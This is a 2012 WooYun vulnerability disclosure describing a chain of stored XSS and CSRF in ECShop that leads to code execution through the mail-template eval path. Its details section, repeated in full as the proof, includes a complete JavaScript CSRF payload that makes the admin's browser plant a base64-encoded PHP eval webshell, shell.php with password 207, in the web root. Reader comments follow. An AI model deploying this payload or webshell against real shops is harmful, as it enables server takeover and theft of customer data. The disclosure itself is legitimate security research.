当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(45) 关注此漏洞

缺陷编号: WooYun-2012-13680

漏洞标题: ecshop csrf getshell

相关厂商: ShopEx

漏洞作者: 猪头子

提交时间: 2012-10-21 21:03

公开时间: 2012-12-05 21:04

漏洞类型: CSRF

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

17人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-21: 细节已通知厂商并且等待厂商处理中
2012-10-21: 厂商已经确认,细节仅向厂商公开
2012-10-31: 细节向核心白帽子及相关领域专家公开
2012-11-10: 细节向普通白帽子公开
2012-11-20: 细节向实习白帽子公开
2012-12-05: 细节向公众公开

简要描述:

吐槽下ecshop后台安全性真的太弱了。。前台组合xss来猥琐的让管理员后台getshell

详细说明:

0x0 后台getshell

在includes/cls_template.php fetch函数

code 区域
/**
* 处理模板文件
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return sring
*/
function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;

//若$filename以str:开头则执行下面的语句
if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}



可以看到如果$filename以"str:"开头那么就调用_eval()函数执行"str:"后面的代码, 不过在执行之前系统调用fetch_str函数进行字符查找和替换。



  _eval():

code 区域
function _eval($content)
{
ob_start();
eval('?' . '>' . trim($content));
$content = ob_get_contents();
ob_end_clean();

return $content;
  }





code 区域
/**
* 处理字符串函数
*
* @access public
* @param string $source
*
* @return string
*/
function fetch_str($source)
{
if (!defined('ECS_ADMIN'))
{
$source = $this->smarty_prefilter_preCompile($source);
}
$source = preg_replace("/<\?[^><]+\?>|<\%[^><]+\%>|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*<\/script\s*>/iU", "", $source);
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
  }



过滤了php语言的标记。



现在需要查看有哪些代码调用了这个函数,找到了这段代码:wholesale.php

code 区域
  /*------------------------------------------------------ */
  //-- 提交订单
  /*------------------------------------------------------ */
  elseif ($_REQUEST['act'] == 'submit_order')
  {
   include_once(ROOT_PATH . 'includes/lib_order.php');
  ... ... ... ... ... ... ... ... ... ... ... ... ...
  ... ... ... ... ... ... ... ... ... ... ... ... ...
   /* 给商家发邮件 */
   if ($_CFG['service_email'] != '')
   {
   $tpl = get_mail_template('remind_of_new_order');
   ... ... ... ... ... ... ... ... ... ... ... ...
   ... ... ... ... ... ... ... ... ... ... ... ...
  $content = $smarty->fetch('str:' . $tpl['template_content']);
   ... ... ... ... ... ... ... ... ... ... ... ...
  }



  在提交订单的地方看到了代码调用了get_mail_template()获得remind_of_new_order模板的内容,然后放入到fetch中执行,如果可以控制remind_of_new_order模板的内容那就可以让ecshop执行我们的命令了。

  在后台可以在模板管理中找到邮件模板,更改remind_of_new_order的内容为"{$phpinfo()'];phpinfo();/*}",然后在调试中可以看到代码被替换成了"<?php echo $this->_var['phpinfo()'];phpinfo();/*']; ?>",代码成功执行。





0x1 前台xss

  前台在有些地方过滤不够充分,导致用户可以构造恶意javascript完成对后台管理员的xss攻击。

  注册用户以后随便买个东西,收货人信息里电话一栏只有本地的客户端检查,而没有后端过滤,容易招到xss攻击。





0x2 xss+后台getshell

  由于没有csrf的防护,因此可以前台xss到后台并让管理员帮我们getshell。

  以下是实现getshell的js:

code 区域
Var Shelldata='subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24user_name%27%5D%3Bfile_put_contents%28base64_decode%28%27c2hlbGwucGhw%27%29%2Cbase64_decode%28%27PD9waHAgQGV2YWwoJF9QT1NUWycyMDcnXSk7Pz4%3D%27%29%29%3Becho+%24var%5B%27%24user_name%7D%0D%0A%3C%2Fp%3E%0D%0A%3Cp%3E%7B%24user_name%7D%C4%FA%BA%C3%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%C4%FA%D2%D1%BE%AD%BD%F8%D0%D0%C1%CB%C3%DC%C2%EB%D6%D8%D6%C3%B5%C4%B2%D9%D7%F7%A3%AC%C7%EB%B5%E3%BB%F7%D2%D4%CF%C2%C1%B4%BD%D3%28%BB%F2%D5%DF%B8%B4%D6%C6%B5%BD%C4%FA%B5%C4%E4%AF%C0%C0%C6%F7%29%3A%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%3Ca+target%3D%22_blank%22+href%3D%22%7B%24reset_email%7D%22%3E%7B%24reset_email%7D%3C%2Fa%3E%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%D2%D4%C8%B7%C8%CF%C4%FA%B5%C4%D0%C2%C3%DC%C2%EB%D6%D8%D6%C3%B2%D9%D7%F7%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%7B%24shop_name%7D%3Cbr+%2F%3E%0D%0A%7B%24send_date%7D%3C%2Fp%3E'; try{ var xml = window.XMLHttpRequest ? (new XMLHttpRequest()) : (new ActiveXObject('Microsoft.XMLHTTP')); xml.open("POST",'/ecshop/upload/admin/mail_template.php?act=save_template',false); xml.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xml.onreadystatechange = function(){if(xml.readyState == 4){}}; xml.send(Shelldata); }catch(e){}





上传这个js的图片并引用或者直接从外部网站引用都可以。为了测试方便,从本地引用



  最后提交订单,管理员访问该订单,用户找回密码,就会在根目录生成shell.php,密码207.

  

  管理员访问订单前的找回密码模板:





  管理员查看订单





  管理员访问订单之后的邮件模板





  最后用户前台找回密码,根目录下生成一句话shell.php

漏洞证明:

0x0 后台getshell

在includes/cls_template.php fetch函数

code 区域
/**
* 处理模板文件
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return sring
*/
function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;

//若$filename以str:开头则执行下面的语句
if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}



可以看到如果$filename以"str:"开头那么就调用_eval()函数执行"str:"后面的代码, 不过在执行之前系统调用fetch_str函数进行字符查找和替换。



  _eval():

code 区域
function _eval($content)
{
ob_start();
eval('?' . '>' . trim($content));
$content = ob_get_contents();
ob_end_clean();

return $content;
  }





code 区域
/**
* 处理字符串函数
*
* @access public
* @param string $source
*
* @return string
*/
function fetch_str($source)
{
if (!defined('ECS_ADMIN'))
{
$source = $this->smarty_prefilter_preCompile($source);
}
$source = preg_replace("/<\?[^><]+\?>|<\%[^><]+\%>|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*<\/script\s*>/iU", "", $source);
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
  }



过滤了php语言的标记。



现在需要查看有哪些代码调用了这个函数,找到了这段代码:wholesale.php

code 区域
  /*------------------------------------------------------ */
  //-- 提交订单
  /*------------------------------------------------------ */
  elseif ($_REQUEST['act'] == 'submit_order')
  {
   include_once(ROOT_PATH . 'includes/lib_order.php');
  ... ... ... ... ... ... ... ... ... ... ... ... ...
  ... ... ... ... ... ... ... ... ... ... ... ... ...
   /* 给商家发邮件 */
   if ($_CFG['service_email'] != '')
   {
   $tpl = get_mail_template('remind_of_new_order');
   ... ... ... ... ... ... ... ... ... ... ... ...
   ... ... ... ... ... ... ... ... ... ... ... ...
  $content = $smarty->fetch('str:' . $tpl['template_content']);
   ... ... ... ... ... ... ... ... ... ... ... ...
  }



  在提交订单的地方看到了代码调用了get_mail_template()获得remind_of_new_order模板的内容,然后放入到fetch中执行,如果可以控制remind_of_new_order模板的内容那就可以让ecshop执行我们的命令了。

  在后台可以在模板管理中找到邮件模板,更改remind_of_new_order的内容为"{$phpinfo()'];phpinfo();/*}",然后在调试中可以看到代码被替换成了"<?php echo $this->_var['phpinfo()'];phpinfo();/*']; ?>",代码成功执行。





0x1 前台xss

  前台在有些地方过滤不够充分,导致用户可以构造恶意javascript完成对后台管理员的xss攻击。

  注册用户以后随便买个东西,收货人信息里电话一栏只有本地的客户端检查,而没有后端过滤,容易招到xss攻击。





0x2 xss+后台getshell

  由于没有csrf的防护,因此可以前台xss到后台并让管理员帮我们getshell。

  以下是实现getshell的js:

code 区域
Var Shelldata='subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24user_name%27%5D%3Bfile_put_contents%28base64_decode%28%27c2hlbGwucGhw%27%29%2Cbase64_decode%28%27PD9waHAgQGV2YWwoJF9QT1NUWycyMDcnXSk7Pz4%3D%27%29%29%3Becho+%24var%5B%27%24user_name%7D%0D%0A%3C%2Fp%3E%0D%0A%3Cp%3E%7B%24user_name%7D%C4%FA%BA%C3%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%C4%FA%D2%D1%BE%AD%BD%F8%D0%D0%C1%CB%C3%DC%C2%EB%D6%D8%D6%C3%B5%C4%B2%D9%D7%F7%A3%AC%C7%EB%B5%E3%BB%F7%D2%D4%CF%C2%C1%B4%BD%D3%28%BB%F2%D5%DF%B8%B4%D6%C6%B5%BD%C4%FA%B5%C4%E4%AF%C0%C0%C6%F7%29%3A%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%3Ca+target%3D%22_blank%22+href%3D%22%7B%24reset_email%7D%22%3E%7B%24reset_email%7D%3C%2Fa%3E%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%D2%D4%C8%B7%C8%CF%C4%FA%B5%C4%D0%C2%C3%DC%C2%EB%D6%D8%D6%C3%B2%D9%D7%F7%A3%A1%3Cbr+%2F%3E%0D%0A%3Cbr+%2F%3E%0D%0A%7B%24shop_name%7D%3Cbr+%2F%3E%0D%0A%7B%24send_date%7D%3C%2Fp%3E'; try{ var xml = window.XMLHttpRequest ? (new XMLHttpRequest()) : (new ActiveXObject('Microsoft.XMLHTTP')); xml.open("POST",'/ecshop/upload/admin/mail_template.php?act=save_template',false); xml.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xml.onreadystatechange = function(){if(xml.readyState == 4){}}; xml.send(Shelldata); }catch(e){}





上传这个js的图片并引用或者直接从外部网站引用都可以。为了测试方便,从本地引用



  最后提交订单,管理员访问该订单,用户找回密码,就会在根目录生成shell.php,密码207.

  

  管理员访问订单前的找回密码模板:





  管理员查看订单





  管理员访问订单之后的邮件模板





  最后用户前台找回密码,根目录下生成一句话shell.php

修复方案:

过滤

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-10-21 23:03

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共4人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2012-10-21 21:51 | 疯子 ( 普通白帽子 | Rank:259 漏洞数:45 | 世人笑我太疯癫,我笑世人看不穿~)
    0

    这个碉堡了,求PM方法

  2. 2012-10-21 22:57 | saline ( 普通白帽子 | Rank:294 漏洞数:37 | Focus On Web Secur1ty)
    0

    嘎嘎,膜拜挖掘漏洞的黑阔

  3. 2012-10-21 23:35 | x0ers ( 路人 | Rank:25 漏洞数:4 | 专注计算机:开机关机重启20年。)
    0

    是XSS呀,座等公开!

  4. 2012-10-22 18:25 | Grass ( 实习白帽子 | Rank:41 漏洞数:4 | s)
    0

    .....犀利了。这个, 求公开

  5. 2012-11-02 20:44 | yy520 ( 普通白帽子 | Rank:139 漏洞数:12 )
    0

    真不错呀

  6. 2012-11-11 16:39 | xiaokinghk ( 实习白帽子 | Rank:82 漏洞数:16 | 【DBA】)
    0

    前排围观。。。。思路不错

  7. 2012-11-12 04:21 | 冰锋刺客 ( 普通白帽子 | Rank:127 漏洞数:20 | 请在监护人陪同下与本人交流)
    0

    犀利 啊 !

  8. 2012-11-23 22:50 | 猴子 ( 路人 | Rank:19 漏洞数:5 | 我是一只骚猴子)
    0

    犀利

  9. 2012-12-07 09:53 | Missye ( 路人 | Rank:0 漏洞数:1 | wu)
    0

  10. 2013-01-03 00:34 | discovery ( 路人 | Rank:9 漏洞数:3 | www.google.com)
    0

    getshell 貌似没测试成功过,不过xss成功。

  11. 2013-05-02 23:56 | hfy ( 路人 | Rank:5 漏洞数:3 | 打了个狗~)
    0

    猪头啊猪头~@猪头子

登录后才能发表评论,请先 登录